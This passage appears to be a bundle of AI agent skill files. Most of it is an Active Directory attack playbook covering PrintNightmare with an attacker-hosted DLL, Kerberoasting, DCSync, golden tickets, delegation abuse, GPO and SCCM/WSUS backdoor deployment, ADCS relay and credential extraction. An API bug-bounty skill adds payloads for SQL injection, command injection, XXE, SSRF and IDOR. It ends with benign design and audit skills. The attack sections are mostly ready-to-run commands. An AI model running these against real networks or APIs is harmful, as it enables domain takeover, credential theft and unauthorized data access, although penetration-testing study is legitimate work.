malicious DLL)\npython3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278/42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local/user:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps://dc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local/user:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).\n","skills/active-directory-attacks/references/advanced-attacks.md":"# Advanced Active Directory Attacks Reference\r\n\r\n## Table of Contents\r\n1. [Delegation Attacks](#delegation-attacks)\r\n2. [Group Policy Object Abuse](#group-policy-object-abuse)\r\n3. [RODC Attacks](#rodc-attacks)\r\n4. [SCCM/WSUS Deployment](#sccmwsus-deployment)\r\n5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)\r\n6. [Trust Relationship Attacks](#trust-relationship-attacks)\r\n7. [ADFS Golden SAML](#adfs-golden-saml)\r\n8. [Credential Sources](#credential-sources)\r\n9. [Linux AD Integration](#linux-ad-integration)\r\n\r\n---\r\n\r\n## Delegation Attacks\r\n\r\n### Unconstrained Delegation\r\n\r\nWhen a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.\r\n\r\n**Find Delegation:**\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -Filter {TrustedForDelegation -eq $True}\r\n\r\n# BloodHound\r\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c\r\n```\r\n\r\n**SpoolService Abuse:**\r\n```bash\r\n# Check spooler service\r\nls \\\\dc01\\pipe\\spoolss\r\n\r\n# Trigger with SpoolSample\r\n.\\SpoolSample.exe DC01.domain.local HELPDESK.domain.local\r\n\r\n# Or with printerbug.py\r\npython3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP\r\n```\r\n\r\n**Monitor with Rubeus:**\r\n```powershell\r\nRubeus.exe monitor /interval:1\r\n```\r\n\r\n### Constrained Delegation\r\n\r\n**Identify:**\r\n```powershell\r\nGet-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo\r\n```\r\n\r\n**Exploit with Rubeus:**\r\n```powershell\r\n# S4U2 attack\r\nRubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n**Exploit with Impacket:**\r\n```bash\r\ngetST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP\r\n```\r\n\r\n### Resource-Based Constrained Delegation (RBCD)\r\n\r\n```powershell\r\n# Create machine account\r\nNew-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)\r\n\r\n# Set delegation\r\nSet-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$\r\n\r\n# Get ticket\r\n.\\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n---\r\n\r\n## Group Policy Object Abuse\r\n\r\n### Find Vulnerable GPOs\r\n\r\n```powershell\r\nGet-DomainObjectAcl -Identity \"SuperSecureGPO\" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match \"GenericWrite|WriteDacl|WriteOwner\")}\r\n```\r\n\r\n### Abuse with SharpGPOAbuse\r\n\r\n```powershell\r\n# Add local admin\r\n.\\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add user rights\r\n.\\SharpGPOAbuse.exe --AddUserRights --UserRights \"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight\" --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add immediate task\r\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"Update\" --Author DOMAIN\\Admin --Command \"cmd.exe\" --Arguments \"/c net user backdoor Password123! /add\" --GPOName \"Vulnerable GPO\"\r\n```\r\n\r\n### Abuse with pyGPOAbuse (Linux)\r\n\r\n```bash\r\n./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id \"12345677-ABCD-9876-ABCD-123456789012\"\r\n```\r\n\r\n---\r\n\r\n## RODC Attacks\r\n\r\n### RODC Golden Ticket\r\n\r\nRODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.\r\n\r\n### RODC Key List Attack\r\n\r\n**Requirements:**\r\n- krbtgt credentials of the RODC (-rodcKey)\r\n- ID of the krbtgt account of the RODC (-rodcNo)\r\n\r\n```bash\r\n# Impacket keylistattack\r\nkeylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full\r\n\r\n# Using secretsdump with keylist\r\nsecretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist\r\n```\r\n\r\n**Using Rubeus:**\r\n```powershell\r\nRubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx\r\n```\r\n\r\n---\r\n\r\n## SCCM/WSUS Deployment\r\n\r\n### SCCM Attack with MalSCCM\r\n\r\n```bash\r\n# Locate SCCM server\r\nMalSCCM.exe locate\r\n\r\n# Enumerate targets\r\nMalSCCM.exe inspect /all\r\nMalSCCM.exe inspect /computers\r\n\r\n# Create target group\r\nMalSCCM.exe group /create /groupname:TargetGroup /grouptype:device\r\nMalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC\r\n\r\n# Create malicious app\r\nMalSCCM.exe app /create /name:backdoor /uncpath:\"\\\\SCCM\\SCCMContentLib$\\evil.exe\"\r\n\r\n# Deploy\r\nMalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update\r\n\r\n# Force checkin\r\nMalSCCM.exe checkin /groupname:TargetGroup\r\n\r\n# Cleanup\r\nMalSCCM.exe app /cleanup /name:backdoor\r\nMalSCCM.exe group /delete /groupname:TargetGroup\r\n```\r\n\r\n### SCCM Network Access Accounts\r\n\r\n```powershell\r\n# Find SCCM blob\r\nGet-Wmiobject -namespace \"root\\ccm\\policy\\Machine\\ActualConfig\" -class \"CCM_NetworkAccessAccount\"\r\n\r\n# Decrypt with SharpSCCM\r\n.\\SharpSCCM.exe get naa -u USERNAME -p PASSWORD\r\n```\r\n\r\n### WSUS Deployment Attack\r\n\r\n```bash\r\n# Using SharpWSUS\r\nSharpWSUS.exe locate\r\nSharpWSUS.exe inspect\r\n\r\n# Create malicious update\r\nSharpWSUS.exe create /payload:\"C:\\psexec.exe\" /args:\"-accepteula -s -d cmd.exe /c \\\"net user backdoor Password123! /add\\\"\" /title:\"Critical Update\"\r\n\r\n# Deploy to target\r\nSharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n\r\n# Check status\r\nSharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local\r\n\r\n# Cleanup\r\nSharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n```\r\n\r\n---\r\n\r\n## AD Certificate Services (ADCS)\r\n\r\n### ESC1 - Misconfigured Templates\r\n\r\nTemplate allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.\r\n\r\n```bash\r\n# Find vulnerable templates\r\ncertipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable\r\n\r\n# Request certificate as admin\r\ncertipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local\r\n\r\n# Authenticate\r\ncertipy auth -pfx administrator.pfx -dc-ip DC_IP\r\n```\r\n\r\n### ESC4 - ACL Vulnerabilities\r\n\r\n```python\r\n# Check for WriteProperty\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl\r\n\r\n# Add ENROLLEE_SUPPLIES_SUBJECT flag\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT\r\n\r\n# Perform ESC1, then restore\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag\r\n```\r\n\r\n### ESC8 - NTLM Relay to Web Enrollment\r\n\r\n```bash\r\n# Start relay\r\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\r\n\r\n# Coerce authentication\r\npython3 petitpotam.py ATTACKER_IP DC_IP\r\n\r\n# Use certificate\r\nRubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt\r\n```\r\n\r\n### Shadow Credentials\r\n\r\n```bash\r\n# Add Key Credential (pyWhisker)\r\npython3 pywhisker.py -d \"domain.local\" -u \"user1\" -p \"password\" --target \"TARGET\" --action add\r\n\r\n# Get TGT with PKINIT\r\npython3 gettgtpkinit.py -cert-pfx \"cert.pfx\" -pfx-pass \"password\" \"domain.local/TARGET\" target.ccache\r\n\r\n# Get NT hash\r\nexport KRB5CCNAME=target.ccache\r\npython3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET\r\n```\r\n\r\n---\r\n\r\n## Trust Relationship Attacks\r\n\r\n### Child to Parent Domain (SID History)\r\n\r\n```powershell\r\n# Get Enterprise Admins SID from parent\r\n$ParentSID = \"S-1-5-21-PARENT-DOMAIN-SID-519\"\r\n\r\n# Create Golden Ticket with SID History\r\nkerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt\r\n```\r\n\r\n### Forest to Forest (Trust Ticket)\r\n\r\n```bash\r\n# Dump trust key\r\nlsadump::trust /patch\r\n\r\n# Forge inter-realm TGT\r\nkerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi\r\n\r\n# Use trust ticket\r\n.\\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt\r\n```\r\n\r\n---\r\n\r\n## ADFS Golden SAML\r\n\r\n**Requirements:**\r\n- ADFS service account access\r\n- Token signing certificate (PFX + decryption password)\r\n\r\n```bash\r\n# Dump with ADFSDump\r\n.\\ADFSDump.exe\r\n\r\n# Forge SAML token\r\npython ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local\r\n```\r\n\r\n---\r\n\r\n## Credential Sources\r\n\r\n### LAPS Password\r\n\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'\r\n\r\n# CrackMapExec\r\ncrackmapexec ldap DC_IP -u user -p password -M laps\r\n```\r\n\r\n### GMSA Password\r\n\r\n```powershell\r\n# PowerShell + DSInternals\r\n$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'\r\n$mp = $gmsa.'msDS-ManagedPassword'\r\nConvertFrom-ADManagedPasswordBlob $mp\r\n```\r\n\r\n```bash\r\n# Linux with bloodyAD\r\npython bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword\r\n```\r\n\r\n### Group Policy Preferences (GPP)\r\n\r\n```bash\r\n# Find in SYSVOL\r\nfindstr /S /I cpassword \\\\domain.local\\sysvol\\domain.local\\policies\\*.xml\r\n\r\n# Decrypt\r\npython3 Get-GPPPassword.py -no-pass 'DC_IP'\r\n```\r\n\r\n### DSRM Credentials\r\n\r\n```powershell\r\n# Dump DSRM hash\r\nInvoke-Mimikatz -Command '\"token::elevate\" \"lsadump::sam\"'\r\n\r\n# Enable DSRM admin logon\r\nSet-ItemProperty \"HKLM:\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\" -name DsrmAdminLogonBehavior -value 2\r\n```\r\n\r\n---\r\n\r\n## Linux AD Integration\r\n\r\n### CCACHE Ticket Reuse\r\n\r\n```bash\r\n# Find tickets\r\nls /tmp/ | grep krb5cc\r\n\r\n# Use ticket\r\nexport KRB5CCNAME=/tmp/krb5cc_1000\r\n```\r\n\r\n### Extract from Keytab\r\n\r\n```bash\r\n# List keys\r\nklist -k /etc/krb5.keytab\r\n\r\n# Extract with KeyTabExtract\r\npython3 keytabextract.py /etc/krb5.keytab\r\n```\r\n\r\n### Extract from SSSD\r\n\r\n```bash\r\n# Database location\r\n/var/lib/sss/secrets/secrets.ldb\r\n\r\n# Key location\r\n/var/lib/sss/secrets/.secrets.mkey\r\n\r\n# Extract\r\npython3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey\r\n```\r\n","skills/api-fuzzing-bug-bounty/SKILL.md":"---\nname: api-fuzzing-bug-bounty\ndescription: This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs/Prerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST/GraphQL/SOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs/Deliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON/XML/URL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger/OpenAPI documentation\n/swagger.json\n/openapi.json\n/api-docs\n/v1/api-docs\n/swagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https://target.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n/api/mobile/login\n/api/v3/login\n/api/magic_link\n/api/admin/login\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET /api/users/1234 → GET /api/users/1235\n\n# Even if ID is email-based, try numeric\n/?user_id=111 instead of /?user_id=user@mail.com\n\n# Test /me/orders vs /user/654321/orders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=<LEGIT>&id=<VICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n/api/get_profile?user_id=<victim>&user_id=<legit>\n{\"user_id\":<legit_id>,\"user_id\":<victim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com/endpoint?name=file.txt;ls%20/\n```\n\n**XXE Injection:**\n\n```xml\n<!DOCTYPE test [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n<object data=\"http://127.0.0.1:8443\"/>\n<img src=\"http://127.0.0.1:445\"/>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps://example.org/download?filename=a.png\nhttps://example.org/download?filename=C:\\inetpub\\wwwroot\\web.config\nhttps://example.org/download?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET /api/v1/users/1\nPOST /api/v1/users/1\nPUT /api/v1/users/1\nDELETE /api/v1/users/1\nPATCH /api/v1/users/1\n\n# Switch content type\nContent-Type: application/json → application/xml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n/graphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL/NoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp://target.com/graphql?query={user(name:\"<script>alert(1)</script>\"){id}}\n\n# URL-encoded XSS\nhttp://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403/401, try these bypasses:\n\n```bash\n# Original blocked request\n/api/v1/users/sensitivedata → 403\n\n# Bypass attempts\n/api/v1/users/sensitivedata.json\n/api/v1/users/sensitivedata?\n/api/v1/users/sensitivedata/\n/api/v1/users/sensitivedata??\n/api/v1/users/sensitivedata%20\n/api/v1/users/sensitivedata%09\n/api/v1/users/sensitivedata#\n/api/v1/users/sensitivedata&details\n/api/v1/users/..;/sensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n<!-- LFI via PDF export -->\n<iframe src=\"file:///etc/passwd\" height=1000 width=800>\n\n<!-- SSRF via PDF export -->\n<object data=\"http://127.0.0.1:8443\"/>\n\n<!-- Port scanning -->\n<img src=\"http://127.0.0.1:445\"/>\n\n<!-- IP disclosure -->\n<img src=\"https://iplogger.com/yourcode.gif\"/>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n/api/news?limit=100\n\n# DoS attempt\n/api/news?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys/tokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR / BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin/debug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON/XML |\n| HTTP Method Tampering | GET→DELETE/PUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls /` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |\n| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |\n| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |\n| API Security | apicheck | github.com/BBVA/apicheck |\n| API Discovery | Kiterunner | github.com/assetnote/kiterunner |\n| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |\n| API Toolkit | APIKit | github.com/API-Security/APIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com/doyensec/inql |\n| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |\n| GraphQL | graphw00f | github.com/dolevf/graphw00f |\n| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |\n| GraphQL | batchql | github.com/assetnote/batchql |\n| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |\n| Wordlists | SecLists | github.com/danielmiessler/SecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |\n| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |\n| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |\n| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (/v1, /v2, /v3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET /api/v1/invoices/12345\nAuthorization: Bearer <token>\n\n# Modified request (other user's data)\nGET /api/v1/invoices/12346\nAuthorization: Bearer <token>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https://target.com/graphql \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n","skills/api-shape-explorer/SKILL.md":"---\nname: api-shape-explorer\ndescription: Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions \"design it twice\".\n---\n\n# Design an Interface\n\nBased on \"Design It Twice\" from \"A Philosophy of Software Design\": your first idea is unlikely to be the best. Generate multiple radically different designs, then compare.\n\n## Workflow\n\n### 1. Gather Requirements\n\nBefore designing, understand:\n\n- [ ] What problem does this module solve?\n- [ ] Who are the callers? (other modules, external users, tests)\n- [ ] What are the key operations?\n- [ ] Any constraints? (performance, compatibility, existing patterns)\n- [ ] What should be hidden inside vs exposed?\n\nAsk: \"What does this module need to do? Who will use it?\"\n\n### 2. Generate Designs (Parallel Sub-Agents)\n\nSpawn 3+ sub-agents simultaneously using Task tool. Each must produce a **radically different** approach.\n\n```\nPrompt template for each sub-agent:\n\nDesign an interface for: [module description]\n\nRequirements: [gathered requirements]\n\nConstraints for this design: [assign a different constraint to each agent]\n- Agent 1: \"Minimize method count - aim for 1-3 methods max\"\n- Agent 2: \"Maximize flexibility - support many use cases\"\n- Agent 3: \"Optimize for the most common case\"\n- Agent 4: \"Take inspiration from [specific paradigm/library]\"\n\nOutput format:\n1. Interface signature (types/methods)\n2. Usage example (how caller uses it)\n3. What this design hides internally\n4. Trade-offs of this approach\n```\n\n### 3. Present Designs\n\nShow each design with:\n\n1. **Interface signature** - types, methods, params\n2. **Usage examples** - how callers actually use it in practice\n3. **What it hides** - complexity kept internal\n\nPresent designs sequentially so user can absorb each approach before comparison.\n\n### 4. Compare Designs\n\nAfter showing all designs, compare them on:\n\n- **Interface simplicity**: fewer methods, simpler params\n- **General-purpose vs specialized**: flexibility vs focus\n- **Implementation efficiency**: does shape allow efficient internals?\n- **Depth**: small interface hiding significant complexity (good) vs large interface with thin implementation (bad)\n- **Ease of correct use** vs **ease of misuse**\n\nDiscuss trade-offs in prose, not tables. Highlight where designs diverge most.\n\n### 5. Synthesize\n\nOften the best design combines insights from multiple options. Ask:\n\n- \"Which design best fits your primary use case?\"\n- \"Any elements from other designs worth incorporating?\"\n\n## Evaluation Criteria\n\nFrom \"A Philosophy of Software Design\":\n\n**Interface simplicity**: Fewer methods, simpler params = easier to learn and use correctly.\n\n**General-purpose**: Can handle future use cases without changes. But beware over-generalization.\n\n**Implementation efficiency**: Does interface shape allow efficient implementation? Or force awkward internals?\n\n**Depth**: Small interface hiding significant complexity = deep module (good). Large interface with thin implementation = shallow module (avoid).\n\n## Anti-Patterns\n\n- Don't let sub-agents produce similar designs - enforce radical difference\n- Don't skip comparison - the value is in contrast\n- Don't implement - this is purely about interface shape\n- Don't evaluate based on implementation effort\n","skills/audit-flow/COMMANDS.md":"# Audit Flow Commands\n\nDetailed SQL commands for the audit-flow skill.\n\n**CRITICAL: Read `schema.sql` before running ANY SQLite command.** Understand tables, columns, constraints, CHECK values, and views FIRST. Never assume schema from context.\n\n## Database Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py init\n# Or manually:\nmkdir -p .audit && sqlite3 .audit/audit.db < .claude/skills/audit-flow/schema.sql\n```\n\n## Session Management\n\n### Create Session\n\nFirst capture git context:\n\n```bash\ngit_commit=$(git rev-parse HEAD 2>/dev/null || echo \"\")\ngit_branch=$(git branch --show-current 2>/dev/null || echo \"\")\ngit_dirty=$(test -n \"$(git status --porcelain 2>/dev/null)\" && echo 1 || echo 0)\n```\n\nThen create session:\n\n```sql\nINSERT INTO sessions (id, name, purpose, description, granularity, git_commit, git_branch, git_dirty)\nVALUES (\n    lower(hex(randomblob(8))),\n    '{name}',\n    '{purpose}',  -- security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\n    '{description}',\n    '{granularity}',  -- fine | coarse\n    '{git_commit}',\n    '{git_branch}',\n    {git_dirty}  -- 0 or 1\n);\n```\n\n### List Sessions\n\n```sql\nSELECT * FROM v_session_summary ORDER BY created_at DESC;\n```\n\n## Flow Management\n\n### Create Flow\n\n```sql\nINSERT INTO flows (session_id, name, entry_point, 